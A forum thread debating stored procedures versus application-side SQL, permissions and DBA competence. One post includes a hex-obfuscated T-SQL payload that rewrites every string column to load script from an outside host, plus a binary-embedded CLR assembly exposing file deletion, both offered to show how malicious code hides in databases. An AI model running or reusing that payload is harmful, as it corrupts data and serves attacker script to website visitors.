But it should not be part of the code....
-
@blakeyrat said:
@belgariontheking said:
@blakeyrat said:
More finely-grained permissions, most importantly meaning that you can allow a user to run a sproc without allowing them to otherwise access the underlying tables.
Views anyone?So if you have 10 users, you create 10 different views for every table? Or you could use a single sproc with 10 different user permissions attached to it.
In my model, where the data access layer is implemented as a web service, no user can even connect to the database. So, stored procedures are actually weaker from a security standpoint. If you have to resort to dynamic SQL or cross-server queries, you may have to grant table permissions. I will never have to grant table permissions under any circumstances.
-
@blakeyrat said:
Microsoft's T-SQL also allows looping and such, but that doesn't mean it necessarily should. SQL is a query language, you feed it a description of what data you want, and it returns that data. You're not supposed to know or care how it loops/iterates/sorts/whatever through the data... if you're looking at it at that level, you're probably doing something wrong. Not every language is a programming language, you know.
ok, I don't know much about T-SQL, and I assumed it was the answer to PL/SQL. We do a lot of funky stuff with stored procs because the previous team loved the shit out of PL/SQL. Hell, we even used to use Java in our stored procs. PL/SQL is very much not primarily for querying, nor do we use it as such. It's almost as much of a programming language as Java, except without a nifty IDE to go along with it. For instance, with a sproc, I can truncate and reload a table based on the latest data. I assumed T-SQL was similar, but apparently, it's just a thin wrapper for SQL.@blakeyrat said:
So if you have 10 users, you create 10 different views for every table? Or you could use a single sproc with 10 different user permissions attached to it.
WTF? of course not. The users don't get access to Oracle anyway, though, so why does it matter? When accessed through an app, the users use a functional id. The app manages the perms.@blakeyrat said:
Seriously, were you molested by a sproc as a child?
Yes, and it was wonderful. Never got that kind of love from my mom.@blakeyrat said:Why are you so opposed to the idea of them existing?
I'm not opposed to the idea of them existing. I'm just opposed to their use because they're so unwieldy. It's like trying to cut down a tree with a new fangled sledgehammer when you have this nifty saw right over here.@blakeyrat said:Christ
Yes, my son?
-
@belgariontheking said:
ok, I don't know much about T-SQL, and I assumed it was the answer to PL/SQL.
What's the question? What does this sentence even mean?
@belgariontheking said:
We do a lot of funky stuff with stored procs because the previous team loved the shit out of PL/SQL. Hell, we even used to use Java in our stored procs.
Isn't this the classic WTF story? "Morons abuse technology X, therefore technology X is bad." We see this "logic" in every story featuring VB or PHP.
@belgariontheking said:
PL/SQL is very much not primarily for querying, nor do we use it as such.
Or maybe it is for querying, and your people are idiots who are abusing the shit out of it? That seems more likely to me.
I mean, T-SQL has a lot of moronic features to avoid (for example, you can write DB functions in VBA/JScript, probably equivalent to the Java voodoo your guys are doing.) That doesn't make it any different than, say, C++ which has a lot of moronic features to avoid.
@belgariontheking said:
For instance, with a sproc, I can truncate and reload a table based on the latest data.
And... you can't do that using standard SQL because...? I don't get how that distinguishes PL/SQL from anything else.
@belgariontheking said:
I assumed T-SQL was similar, but apparently, it's just a thin wrapper for SQL.
I wouldn't call it a "thin wrapper." I'm not familiar enough with PL/SQL to comment, really... comparatively, it may be thin.
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard. The other stuff Microsoft's piled-on, I just ignore.
-
@blakeyrat said:
Seriously, were you molested by a sproc as a child? Why are you so opposed to the idea of them existing? Christ.
Yes, but it wasn't nearly as traumatic as when I was molested by a Java middleware web service. Sprocs fail again.
-
@belgariontheking said:
ok, I don't know much about T-SQL, and I assumed it was the answer to PL/SQL
I know both T-SQL and PL/SQL. You are mostly correct. T-SQL is similar to PL/SQL in concept when used for stored procedures and anonymous blocks. PL/SQL does a lot of other stuff that is beyond the scope of what T-SQL does. PL/SQL is much more rubust, but T-SQL can accomplish all of the things that PL/SQL does as far as interacting with the database goes.
-
@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard. The other stuff Microsoft's piled-on, I just ignore.
So this boils down to "I don't really use it for anything more than precompiling my SQL so it's great!"
-
@belgariontheking said:
@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard. The other stuff Microsoft's piled-on, I just ignore.
So this boils down to "I don't really use it for anything more than precompiling my SQL so it's great!"Yah. What's wrong with that?
-
@belgariontheking said:
@blakeyrat said:
I think it's a little bit more than that. You also claim to duplicate them in a testing DB, returning dummy values, or something. How many stored queries do you have in a typical DB, anyways?
Yah. What's wrong with that?So this boils down to "I don't really use it for anything more than precompiling my SQL so it's great!"
-
@boomzilla said:
I think it's a little bit more than that. You also claim to duplicate them in a testing DB, returning dummy values, or something.
No, I said you *could* do that.
Our testing DB just contains dummy data, and the sprocs are the same as on the live DB.
@boomzilla said:
How many stored queries do you have in a typical DB, anyways?
The project I'm working on right now has 25? ish. I think a couple are unused though.
-
@blakeyrat said:
They
reduce thehide a number of lines of code in your project bysaving you from having toletting someone who is completely uninterested in your project write yourowndata encapsulation where only they can see and/or update it, alsocoorespondinglycorrespondingly reducing thenumber of potential bugsoverall ability to solve the many bugs thus introduced.FTFY
@blakeyrat said:
If you're a coder, you can usually off-load sproc work to your DBAs (depends on the asshole-ness of your DBAs and their workload) and save some time.
You accidentally included this in the "benefits" column. Just in case that was deliberate, I'll point out that, by and large (there are exceptions), most DBAs I've met do not resemble programmers any more than the simple "human" shape that both of them maintain.
I admit, if you have an SQL statement that runs a bit slow, a DBA may be able to tell you things to do to optimize it. They may also tell you to wrap your single select statement with a start transaction/rollback block. (For the record, not knowing any better, I tried this. It did not result in what I would consider "better performance", although it did have a decidedly noticeable effect. Also note, this statement did not make any data changes.)
In the one instance where management actually directed me to offload my sproc work to a DBA, the resulting sprocs did not do the same thing as the SQL statements I'd given said DBA - they didn't even keep the same table structure. Instead, several tables were merged into a 'key, column name, value' scheme1, another table was dropped entirely, and another table was "normalized" using unique columns for the foreign keys (that portion worked, showing that it wasn't a candidate for normalization. The columns I already normalized no longer worked, as the DBA made them unique as well.)
1 That is:
key name value A6786SJKL23-FDS28HKLSD-23-FSD2 NAME Tgape A6786SJKL23-FDS28HKLSD-23-FSD2 TYPE user A6786SJKL23-FDS28HKLSD-23-FSD2 UID 109332832 A6786SJKL23-FDS28HKLSD-23-FSD3 HOST INDC-lxm4 A6786SJKL23-FDS28HKLSD-23-FSD3 TYPE server A6786SJKL23-FDS28HKLSD-23-FSD3 IP 74.50.106.245 A6786SJKL23-FDS28HKLSD-23-FSD3 ROLE HTTP @blakeyrat said:
Gives you some safety to prevent a coder from screwing up a DB by writing inconsistent data, or data that doesn't make sense in some way if they only have DB access through the sprocs.
I think you mean, "greatly increases your surprise factor when you find someone who shouldn't be a coder still manged to screw up your DB by writing inconsistent data." Of course, your surprise is only greatly increased the first few times this happens. Admittedly, if they're well written, they can limit the types of damage possible - but, in my experience, this just makes it less likely to be caught early on, before the problem gets too widespread.
-
I already added the "if your DBA isn't an asshole" disclaimer.
Where I work, we have two good DBAs who do good work. I'm sorry that you don't, but it doesn't change my point at all: if your DBAs are assholes, don't have them touch anything. If they are, ignore them and do it yourself.
-
@blakeyrat said:
@boomzilla said:
Seriously, only 25? And you run all of your queries (select/update/insert) through SPROCS? No wonder you can get away with this sort of stuff.How many stored queries do you have in a typical DB, anyways?
The project I'm working on right now has 25? ish. I think a couple are unused though.
-
@boomzilla said:
@blakeyrat said:
@boomzilla said:
Seriously, only 25? And you run all of your queries (select/update/insert) through SPROCS? No wonder you can get away with this sort of stuff.How many stored queries do you have in a typical DB, anyways?
The project I'm working on right now has 25? ish. I think a couple are unused though.Well I apologize for not being 1337 enough for you.
-
@blakeyrat said:
I already added the "if your DBA isn't an asshole" disclaimer.
Where I work, we have two good DBAs who do good work. I'm sorry that you don't, but it doesn't change my point at all: if your DBAs are assholes, don't have them touch anything. If they are, ignore them and do it yourself.
"not asshole" != "competent" (unless, of course, you're in some environment where all strings that start alphabetically are 0.) The DBAs I mentioned were very friendly and willing to help. Unfortunately, their competencies apparently resided entirely within setting up databases and keeping databases running smoothly, rather than in *using* databases. For what it's worth, they kind of disclaimed this before offering any of their advice. Unfortunately, my management felt that they should be in charge of all of that stuff, as they were the "experts". He was, at least, not the person who decided to hire two cheerful, social women who could spell 'SQL' (and, sadly, I mean that), rather than the "creepy old guy who claimed over 20 years of sequel experience, whatever that is".
For what it's worth, I'm *so* glad I've nothing to do with that place, and haven't for over 10 years - especially since their idea of version control was .
-
@blakeyrat said:
Well I apologize for not being 1337 enough for you.
That has nothing to do with it. It was your rant about how crazy it is not to use SPROCS. Even if I only had 25, I still doubt I'd want to do that, but it's completely out of the question for a large system. Though if you have competent DBAs to do the work, I can see how it makes your job easier. But I simply can't imagine a DBA that understood SQL, let alone an application well enough to trust them do anything without close supervision.
-
@blakeyrat said:
@belgariontheking said:
There's nothing wrong with it. What I have a problem with is the assertion that stored procedures should be used by default, yet you haven't come up with a really good reason why. The only ones that have come up so far are:@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard. The other stuff Microsoft's piled-on, I just ignore.
So this boils down to "I don't really use it for anything more than precompiling my SQL so it's great!"Yah. What's wrong with that?
- Security -- Although this one is valid, it is simply a reason that stored procedures should be considered. Everybody else's method does this too. In order to make stored procedures the defacto "best choice", we need more.
- You can pawn your work off on someone else -- This could be good or bad. Where I work the guy I pawn it off to will charge my project for his time. Even assuming quality work, that person is going to have to spend time learning the needs of the application and there are going to be some growing pains.
- Pre-compilation -- Non-issue. Real database products store
compiled execution plans for both stored procedures and ad-hoc
queries. So, losing the procedures does not negate the benefit of
pre-compilation. Actually, one of the few cases where I insist on stored
procedures is when I purposely don't want the execution plan cached.
You can create a procedure with an option to never cache the plan, but
you can't tell the server not to cache the plan for an ad-hoc batch.
@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard
You know that GETDATE isn't in SQL99, right?
-
@Jaime said:
@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard
You know that GETDATE isn't in SQL99, right?
Of course there's got to be the pedantic person. It wouldn't be a tech forum without pedants!
Fine, I probably use some features that aren't in SQL99. (Although GETDATE isn't one of them-- I pass the date in from the web server.)
-
@blakeyrat said:
Well I apologize for not being 1337 enough for you.
That's about how many stored procedures I have for an application that I inherited. The application has rampant performance problems and multiple SQL Injection vulnerabilities. Good thing stored procedures prevent those things.
My favorite part is that my predeccesors didn't version control the source of the stored procedures. MS SQL Server has a nifty behavior where if you have renamed a stored procedure, then when you generate scripts to put in source control, the scripts get generated with the original name in some places. I have one case where XXX was renamed to XXXOld and a new XXX was created. The source for XXXOld was generated like this:
DROP PROC XXXOld
GO
CREATE PROC XXX
...There is like ninety of these. If I do something like recompile all of my procedures after upgrading to SQL 2005, then XXXOld disappears from the database. The really funny part is that XXXOld is used in the freakin' application!!!!!
-
@Jaime said:
Pre-compilation -- Non-issue. Real database products store
This is the sort of premature optimization that nearly competent DBAs trying to be helpful / keep busy love to push.
compiled execution plans for both stored procedures and ad-hoc
queries. So, losing the procedures does not negate the benefit of
pre-compilation.
-
@tgape said:
...most DBAs I've met do not resemble programmers any more than the simple "human" shape that both of them maintain.
Large, round and perpetually sweaty even when the A/C is blasting?
-
@blakeyrat said:
@Jaime said:
@blakeyrat said:
The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard
You know that GETDATE isn't in SQL99, right?
Of course there's got to be the pedantic
persondickweed. It wouldn't be a tech forum without pedants!FTFY.
-
-
How many stored queries do you have in a typical DB, anyways?
A bit late in responding by a "typical" DB I work on has: 50-200 tables with a minimum of 4 SPs each, this does not include composite queries or partial row update (which will typically add about another hundred SP's to a typical application). So I would say the average number is between 300-1000 SP's for a typical application.
-
@TheCPUWizard said:
50-200 tables with a minimum of 4 SPs each
I smell template-generated SELECT, INSERT, UPDATE, and DELETE procedures. I love it when people do not grant direct table access to users, but do grant access to the four procedures that effectively give the users the ability to make any possible modification to each table.
I grant users the right to "approve a vacation requests", not "write to the vacation requests table", or "run the update procedure for vacation requests". Unfortunately, using stored procedures as the permission controlling mechanism requires you to either implement your entire business layer in stored procedures, or to grant access to data layer procedures, causing the situation described in the first sentence of this paragraph. This was the reason that I originally brought up as the weakness of T-SQL that is my excuse for using stored procedures sparingly.
Let's link this back to blakeyrat's admission that his stored procedures consist entirely of SELECT, INSERT, UPDATE, and DELETE statements. How could one limit a user's permission to only be able to approve a vacation request and not change the ending date without an IF or a CASE in there somewhere? I guess you could make a trillion procedures for every possible combination of columns that may be updated, but that could get very complicated very quickly. Heck, in most cases, it would be inferior to managing column level permissions on the table itself.
-
@Jaime said:
Let's link this back to blakeyrat's admission that his stored procedures consist entirely of SELECT, INSERT, UPDATE, and DELETE statements.
I didn't "admit" that.
But I guess it doesn't matter what I actually say on this board, so... what the fuck ever. Just put fucking words in my mouth like everybody fucking else. Pile on.
-
@blakeyrat said:
I didn't "admit" that.
@blakeyrat said:The only parts of T-SQL I actually use, however, are the parts in the SQL99 standard. The other stuff Microsoft's piled-on, I just ignore.
@blakeyrat said:Microsoft's T-SQL also allows looping and such, but that doesn't mean it necessarily should. SQL is a query language, you feed it a description of what data you want, and it returns that data. You're not supposed to know or care how it loops/iterates/sorts/whatever through the data... if you're looking at it at that level, you're probably doing something wrong. Not every language is a programming language, you know.
That looks like it right there. Unless you are putting CREATE or GRANT statements in your stored procedures, there isn't much more than SELECT, INSERT, UPDATE, and DELETE that is both SQL99 and not a "programming language" feature. Please, correct me if I'm wrong, but I'm just trying to piece together what you posted.
Also, I'm still waiting for the benefits of stored procedures. Last time I asked, I made the mistake of adding a snide, pedantic comment about the breadth of SQL99, and you took the opportunity to attack my attack instead of answering the hard parts of my question.
-
@Jaime. I am a stong believer in minimizing (often prohibiting) application code level access to the tables for a number of reasons:
1) Security. Most "thefts" actually incur from WITHIN the corporation.
2) Performance. Ensuring good "execution plans" is virtually impossible when the SQL exists outside the DB.I DO 100% agree with business related exposure (using your example of "approve a vacation request"), and this is what I was refering to as "composite queries" and "partial row updates".
-
@TheCPUWizard said:
@Jaime. I am a stong believer in minimizing (often prohibiting) application code level access to the tables for a number of reasons:
1) Security. Most "thefts" actually incur from WITHIN the corporation.
2) Performance. Ensuring good "execution plans" is virtually impossible when the SQL exists outside the DB.I DO 100% agree with business related exposure (using your example of "approve a vacation request"), and this is what I was refering to as "composite queries" and "partial row updates".
1) The code that accesses the database is the middle tier code, not the client code. It also resides on a server. The only way your argument works is if you find the DBAs trustworthy, but the people who develop the middle tier code are not. You don't fix these things by limiting the number of developers, you fix them with code reviews and change control. Besides, your solution actually ends up moving a lot of application code to the database server, where the coders are free to steal all the data they want.
2) No. You should be finding performance problems with the profiler tool, which doesn't care how the code came into existence, or where it is stored. You say it is virtually impossible, but I do it every day and I don't find it to be cumbersome at all.I realize that your reference to "partial row updates" is the same as my "approve vacation request". However, stored procedures have horrible reusability, so you need a lot of duplication to make several variants of partial row updates to a single table. T-SQL is a bad language in which to implement this. Sure, it works, but there are much more scalable, supportable, and elegant ways to accomplish the same thing.
Your entire belief system rests on these facts:
- All applications are two-tier.
- Java/C# developers cannot be trusted.
- Only you can performance tune a query.
- T-SQL isn't a horrible language.
All of which are false.
-
@Jaime said:
@TheCPUWizard said:
50-200 tables with a minimum of 4 SPs each
I smell template-generated SELECT, INSERT, UPDATE, and DELETE procedures. I love it when people do not grant direct table access to users, but do grant access to the four procedures that effectively give the users the ability to make any possible modification to each table.
I grant users the right to "approve a vacation requests", not "write to the vacation requests table", or "run the update procedure for vacation requests". Unfortunately, using stored procedures as the permission controlling mechanism requires you to either implement your entire business layer in stored procedures, or to grant access to data layer procedures, causing the situation described in the first sentence of this paragraph. This was the reason that I originally brought up as the weakness of T-SQL that is my excuse for using stored procedures sparingly.
Let's link this back to blakeyrat's admission that his stored procedures consist entirely of SELECT, INSERT, UPDATE, and DELETE statements. How could one limit a user's permission to only be able to approve a vacation request and not change the ending date without an IF or a CASE in there somewhere? I guess you could make a trillion procedures for every possible combination of columns that may be updated, but that could get very complicated very quickly. Heck, in most cases, it would be inferior to managing column level permissions on the table itself.
- Webservice with full access to Database, Database user ip-limited whatever.
- Handle the logic in the Webservice.
- ???
- PROFIT!!
- Webservice with full access to Database, Database user ip-limited whatever.
-
@blakeyrat said:
But I guess it doesn't matter what I actually say on this board, so... what the fuck ever. Just put fucking dicks in my mouth like everybody fucking else. Pile on.
LOL
-
@TheCPUWizard said:
2) Performance. Ensuring good "execution plans" is virtually impossible when the SQL exists outside the DB.
Maybe this is true for MSSQL, but it's definitely not true for all RDBMSes and it sounds all-around wrong.
-
@morbiuswilters said:
Dhromed? Is that you?@blakeyrat said:
But I guess it doesn't matter what I actually say on this board, so... what the fuck ever. Just put fucking dicks in my mouth like everybody fucking else. Pile on.
LOL
-
@morbiuswilters said:
How can this be true even for MSSQL? Is it really that bad of a DB? (I've never used it, so I have no opinion.)@TheCPUWizard said:
2) Performance. Ensuring good "execution plans" is virtually impossible when the SQL exists outside the DB.
Maybe this is true for MSSQL, but it's definitely not true for all RDBMSes and it sounds all-around wrong.This assertion is...incomplete?...misguided?...completely wrong? I can't decide.
-
@morbiuswilters said:
@TheCPUWizard said:
2) Performance. Ensuring good "execution plans" is virtually impossible when the SQL exists outside the DB.
Maybe this is true for MSSQL, but it's definitely not true for all RDBMSes and it sounds all-around wrong.
This is very false for MSSQL. The database profiler and performance tool integrate tightly to allow a DBA to track any performance blip back to the exact statement that caused it. The system will even go so far as to suggest index changes and their likely impact. Of course, sometimes the statement needs to be tweaked, so there are tools for that too. SQL RML Utilities allow a DBA to capture performance data and do offline analysis of the workload. The tool is very powerful and can quickly point out exactly which queries are causing the highest load on the system. It can also do capture-and-replay to assess the benefits and/or cost of any proposed changes. None of these tools work any better if you use stored procedures. These tools aren't new, I started working with MSSQL in 1995, and at least half of these tools existed back then.
-
-
@Jaime said:
Of course, sometimes the statement needs to be tweaked, so there are tools for that too.
So what SQL tool allows a DBA to tweak a statement like "SELECT * FROM Really_Big_Table" that was issued by an Excel spreadsheet that marketing people keep on their laptops in Japan?
-
@Qwerty said:
@Jaime said:
Of course, sometimes the statement needs to be tweaked, so there are tools for that too.
So what SQL tool allows a DBA to tweak a statement like "SELECT * FROM Really_Big_Table" that was issued by an Excel spreadsheet that marketing people keep on their laptops in Japan?
I already covered this --
@Jaime said:
Stored procedures only beat straw man alternatives.
Of course issuing statements directly from Excel spreadsheets is a bad idea. That doesn't make stored procedures any better than the second worst idea. The alternative I have been advocating this entire thread is a data access layer implemented as a web service. My model would also prevent users from submitting random SELECT statements from Microsoft Excel. Actually, with stored procedures, you'd have to give the user a login to the database. With web services, I don't even give them a login. I dare you to connect with Excel when your account can't even log in. Lack of stored procedures does not mean lack of control.
Debating tip: Demonstrating the existence of position "C", which is worse than position "A", does not prove that position "A" is better than position "B". Nor does it prove that position "A" isn't bad.
-
For those who responded to my previous post...
re: Security...Increasing the "surface area" decreases security. It is that simple. About 8 years ago, I was hired to find out how a major financial firm suffered losses from information theft. Even though I basically knew what I was looking for, it took me over a month to find a carefully orchestrated set of pointer manipulations in the SEVER application (written in C++) that would to a set of partial dumps of the database and (via a few bounces) deliver them to one of the developers (who had left the company two weeks before the theft occured). This company had a very good code review process, but since there were major pointer manipulations in the code, it was not detected. I would much rqaather only have to look at the Stored Procs, and the Security Settings on the DB to KNOW EXACTLY what was possible/impossible.
re: Performance. Yes, MSSQL has some good tools for analyzing DB performant, and will trace it back to specific SQL statements executed at specific times. HOWEVER, this can be very difficult to detect if the SQL may have originated anywhere in a few hundred thousands lines of code. Even if you DO find the offending code, it requires a modification to the Application [with all of the attendant testing and QA] rather than just a chage to the DB (which should be throughly tested in its own right). There have been many times where a single operation WOULD benefit from a new index SIGNIFICANTLY; once the Index exists, other changes may "make sense", but if they are scattered across the server application code base, i will be much more difficult to track them down (in my 30+ years experience this is almost NEVER done when the SQL exists outside the DB!)
-
Jamie, I just caught your last post, and am 100% in favor of exposing a WebService whenever possible (which is almost always). But even here, I will question if SQL code scattered acriss the WS implementation is better than stored procs invioked from the WebService. See my previous post for the reasons which still apply 100% here.
-
UI
Permissions go here -> ----------- \
Business |
----------- |-- Web Service Layer
SQL goes here ---> Data Access |
----------- /
DatabaseThe SQL doesn't get scattered around the application. I can find every database access call in the entire application by simply clicking on a data access method and choosing "Find All References" in the IDE. If I want everything, I just create a "dependency graph". I dare you to find every piece of code that calls a stored procedure. My data access methods are much more organized than if they were stored on the server. I can group them into classes, organize those classes logically into namespaces or physically into folders.
Visual Studio 2010 has a new feature called "Layer Validation" that allows you to draw an architecture diagram and then validate that the application doesn't make calls across layers that are disallowed by the design. So, you can guarantee that only the data access project is accessing the database.
Your experience 8 years ago only proves that you shouldn't use C or C++ to build applications if you want any reassurance that the application isn't malicious. If you had used stored procedures back then, I'm sure those developers would have simply written malicious code to dump the physical pages of the database, instead of querying the data. If someone writes evil code and you install it on your server, it's game over. Also, a technical solution isn't even necessary to solve problems of this type. Simply require all of your programmers to be bonded.
Finally, stored procedures invoked from the web service has minimal benefits and only serves to limit the capabilities of the data layer. The only benefit I can see is that the SQL is all accessible via sp_helptext and SQL Management Studio. If you didn't use stored procedures and didn't screw it up, all of the SQL would be easily viewable in one place, although it will be a different place that you are accustomed to. By not forcing yourself to use stored procedures, you are able to do a lot more with the data layer. My fundamental problem with stored procedures is that they are written in a language that has evolved little in the last twenty years. If I wanted to work with hand cuffs on, I would write all my code in RPG.
Visual Studio > SQL Management Studio (SQL Management Studio is merely one of many plug-ins for Visual Studio)
C# > T-SQL
-
@TheCPUWizard said:
re: Security...Increasing the "surface area" decreases security. It is that simple. About 8 years ago, I was hired to find out how a major financial firm suffered losses from information theft. Even though I basically knew what I was looking for, it took me over a month to find a carefully orchestrated set of pointer manipulations in the SEVER application (written in C++) that would to a set of partial dumps of the database and (via a few bounces) deliver them to one of the developers (who had left the company two weeks before the theft occured). This company had a very good code review process, but since there were major pointer manipulations in the code, it was not detected. I would much rqaather only have to look at the Stored Procs, and the Security Settings on the DB to KNOW EXACTLY what was possible/impossible.
BTW, if the financial firm had decided to do all data access via stored procedures, they would have needed more stored procedure developers and fewer C++ developers. The same corrupt individuals who wrote the malicious C++ would be writing the stored procedures. You can do a lot of nasty things with triggers and xp_oacreate. If you have SQL 2005 or later, you can hide a ton of code in assemblies. The CREATE ASSEMBLY statement allows you to specify the code as a binary literal. Yes, you can create a stored procedure using pre-compiled .Net code as the source. Try to figure out what that does!!!
The following is real code from an application, only slightly anonymized, and the assembly bits are cut off so that the post isn't 200K:
DECLARE @assembly_bits varbinary(max)
SET @assembly_bits = 0x4D5A90000300000004000000FFFF
IF EXISTS(SELECT 1 FROM sys.assemblies WHERE name = 'MySQLCLR')
BEGIN
ALTER ASSEMBLY MySQLCLR
FROM @assembly_bits
END
ELSE
BEGIN
CREATE ASSEMBLY MySQLCLR
AUTHORIZATION dbo
FROM @assembly_bits
WITH PERMISSION_SET = EXTERNAL_ACCESS
END
GO
IF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID('DeleteFile') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
DROP PROCEDURE [DeleteFile]
GO
CREATE PROCEDURE DeleteFile
(
@FilePath nvarchar(max)
)
AS EXTERNAL NAME MySQLCLR.[MySQLCLR.FileAccess].DeleteFile
GOYou could hide a lot of stuff in there.
-
This one is rather fun:
DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F
720435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E6
9420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729
204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F53544154
55533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65
3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C65
5F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
You have to remove the line breaks to run it. It's a cursor loop that goes through all of the string columns in the entire database and adds cross-site scripting attack code to everything. Yes, it works, so I wouldn't run it anywhere that matters. You could hide a much simpler version in a particularly ugly comment.
-
@TheCPUWizard said:
About 8 years ago, I was hired to find out how a major financial firm suffered losses from information theft. Even though I basically knew what I was looking for, it took me over a month to find a carefully orchestrated set of pointer manipulations in the SEVER application (written in C++) that would to a set of partial dumps of the database and (via a few bounces) deliver them to one of the developers (who had left the company two weeks before the theft occured). This company had a very good code review process, but since there were major pointer manipulations in the code, it was not detected. I would much rqaather only have to look at the Stored Procs, and the Security Settings on the DB to KNOW EXACTLY what was possible/impossible.
AFAICT, the real problem was sending the data outside of the app, not the app accessing the data. Presumably, the app was allowed to read the DB, right? How would stored procedures have alerted you that the user was going to steal data?While it's possibly more difficult to write obfuscated code in java or C#, I'm quite sure that a determined individual could get a lot of stuff past most code reviews.
-
@boomzilla said:
Presumably, the app was allowed to read the DB, right? How would stored procedures have alerted you that the user was going to steal data
The App was allowed direct access to the tables, this allowed rows to be "dumped" instead of limiting access to only those items which would be returned by a specific "busines operation".
As an example consider a simple product/price table [two columns]. If there is ONLY a stored procedure which returns the price for a given product (passed as a parameter) then:
A) The application must know the existing products, it can not access the DB to determine what all of the products are.
B) Only a single row will be returned per operation, this will make it more difficult (and possibly trigger an alert) to get the information for a million products (even if the product identities are known)
-
@Jamie, you raise many good points [it is refreshing to see an actual discussion rather than "rants" on this forum].
YES, STORED PROCEDURES can be used to create malicious code. But the total size of the source material is going to be much smaller, and therefore easier to review.
Many avenues can be simply disabled (such as CLR integration), and other items can be easily parsed by a tool for review (such as the invocation of dynamic SQL).
Your statements about using layers, etc. are all "spot on", but it is still very difficult to track back to all of the locations within a DAL where DB interactions could possibly be performed. You can track back (Find All References), but in many cases this will not lead directly back to a properly parameterized set of SQL statements; more often it will track back to something more complex. It is also very difficult to "mark as approved" a specific path. This means that each time a new version of the codebase (or at least the DAL) is deployed, a FULL analysis has to be done. If each stored procedure is properly stored as a revision controlled item (trivial in Visual Studio) then one can look at a changeset and know EXACTLY what operations are impacted in just a few seconds (although the analysis of HOW those items are impacted could take longer).
-
@TheCPUWizard said:
A) The application must know the existing products, it can not access the DB to determine what all of the products are.
I agree that you could make the theft a lot less efficient by this sort of scheme, though in order to really make it work, it seems like you'd have to have some really Rube Goldberg setups to keep the app from putting all the information together. And you've really only slowed your thief down, you haven't stopped him. It seems to me that you've traded some security delay time for ease of development. In some sort of app where a theft could really cause a lot of money, I could see some value, but I'd hate to work on that app. We're also back to the non-asshat DBA problem.
B) Only a single row will be returned per operation, this will make it more difficult (and possibly trigger an alert) to get the information for a million products (even if the product identities are known)
-
@boomzilla said:
It seems to me that you've traded some security delay time for ease of development. In some sort of app where a theft could really cause a lot of money, I could see some value, but I'd hate to work on that app. We're also back to the non-asshat DBA problem.
I do not find applications written in this fashion harder (or taking longer) to develop, and I find them MUCH easier to securely maintain. [I run a small consulting firm in New York City - everything I do involves finding the most cost effective means of achierving goals].
You are quite correct that a database ADMINISTRATOR is not the one to do the ARCHITECTURE, DESIGN and IMPLEMENTATION of a DB (this applies regardles of the approach taken). The person (or team) responsible for the DB operations (regardless of where the SQL is located) needs to have the experience in dealing with all phases of ALM. It does amaze me when people let DB Admins actually work on the DB. Would you let a Project Admin actually write code?
-
@TheCPUWizard said:
I do not find applications written in this fashion harder (or taking longer) to develop, and I find them MUCH easier to securely maintain.
I could see how certain applications would benefit from the sort of setup you've described, though it seems like in many places, it either wouldn't scale or you would have provided a workaround for some of your "make it hard to query lots of data" aspects.@TheCPUWizard said:
The person (or team) responsible for the DB operations...
This is the other aspect that bugs me. It seems to imply that one set of people are working on the DAL and another set is working on the rest of the app. The communication and coordination overhead implied by that arrangement is a big part of where I get hung up. I suppose if you can get away with 25 SPROCs in the app, then it's maybe not too bad. Or maybe you just rely a lot on your ability to review the code in the DB?
-
Debug logic should be in the code for those that follow - debugging hints
@Jaime said:
Exactly a novice can work with the SSDS code. Use centralized error trapping to simplify things. Of course you would need to implement line numbers, see the SSDS code for example. The novice will come up and give you a big hug for those debugging hints.The only time I see a stored procedure based solution come out way ahead of a different solution, is when the other solution is either written by a novice or SpectateSwamp.
http://www.telusplanet.net/public/stonedan/source.txt
Oh my God they left a commented out debug statement in the code. Damn no good Perfect Perfects.
GoTo's and line_numbers make great spaghetti code possible. SSDS got both in abundance. Take that PP's
-
HEY! What are you doing out of your cage? Get back to your thread in the Funny Stuff board! RIGHT NOW, MISTER!
